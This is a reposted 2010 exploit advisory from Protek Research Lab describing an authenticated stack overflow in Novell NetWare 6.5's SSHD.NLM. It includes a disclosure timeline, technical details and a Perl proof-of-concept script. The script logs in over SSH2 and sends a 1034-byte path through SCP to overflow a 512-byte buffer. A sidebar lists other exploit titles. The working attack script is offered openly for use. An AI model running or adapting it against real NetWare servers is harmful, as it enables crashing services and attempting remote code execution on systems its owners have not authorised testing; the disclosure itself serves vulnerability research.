首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Novell Netware v6.5 OpenSSH Remote Stack Overflow
来源:http://www.protekresearchlab.com/ 作者:Provencher 发布时间:2010-09-03  

#####################################################################################

Application:   Novell Netware OpenSSH Remote Stack Overflow

Platforms:  Netware 6.5

Exploitation:   Remote code execution

CVE Number:

Novell TID:   7006756

ZeroDayInitiative: ZDI-10-169

Author:   Francis Provencher (Protek Research Lab's)

Blog:   http://www.protekresearchlab.com/


#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code


#####################################################################################

===============
1) Introduction
===============

Novell, Inc. is a global software and services company based in Waltham,
Massachusetts. The company specializes in enterprise operating systems, such
as SUSE

Linux Enterprise and Novell NetWare; identity, security, and systems
management solutions; and collaboration solutions, such as Novell Groupwise
and Novell

Pulse.

Novell was instrumental in making the Utah Valley a focus for technology and
software development. Novell technology contributed to the emergence of
local

area networks, which displaced the dominant mainframe computing model and
changed computing worldwide. Today, a primary focus of the company is on
developing

open source software for enterprise clients.

(http://en.wikipedia.org/wiki/Novell)

#####################################################################################

============================
2) Report Timeline
============================

2010-04-06 The details of this case have been submitted to the vendor as
ZDI-CAN-674.
2010-09-01 Vendor respond with an advisory without nothing to fix the
vulnerability.


#####################################################################################

============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of Novell Netware. Authentication is required to
exploit

this vulnerability.

The flaw exists within SSHD.NLM. When the application attempts to resolve an
absolute path on the server, a 512 byte destination buffer is used without

bounds checking. By providing a large enough value, an attacker can cause a
buffer to be overflowed. Successful exploitation results in remote code
execution

under the context of the server.

#####################################################################################

===========
4) The Code
===========


#!/usr/bin/perl

use Net::SSH2;
use Getopt::Std;

@overflow = ('A' x 1034);

getopts('H:P:u:p:', \%opts);
$host = $opts{'H'}; $port = $opts{'P'}; $username = $opts{'u'}; $password =
$opts{'p'};

if(!defined($host) || !defined($username))
{
     print "\nUsage: $0 -H <host> -P [port] -u <username> -p
[password]\n\n";
     exit(0);

}


print "\SCP Get... Beep, Beep";
foreach(@overflow) { $ssh2 = Net::SSH2->new();
$ssh2->connect($host, $port)               || die "\nError: Connection
Refused!\n"; open(FD, '>>sshfuzz.log'); print FD $host . "\n" . $_ . "\n\n";
$ssh2->auth_password($username, $password) || die "\nError:
Username/Password Denied!\n";
$fuzzssh = $_; $scpget = $ssh2->scp_get($fuzzssh); $ssh2->disconnect(); }
sleep(1);


close(FD); close(FDD); close(FDDD); close(FDDDD);

exit;

 

 

#####################################################################################
(PRL-2010-07)


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Apple QuickTime FlashPix Numbe
·AnyBizSoft PDFtoWord DLL Hijac
·Shellcode Checksum Routine
·Nimbuzz social messenger DLL h
·Backdoor password in Accton-ba
·QtWeb DLL hijacking (wintab32.
·vBulletin 4.0.6 - Danial Of Se
·Cpanel PHP Restriction Bypass
·BlueCMS getip()注射漏洞
·Autodesk MapGuide Viewer Activ
·TFTP Desktop 2.5 Directory Tra
·Trend Micro Internet Security
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved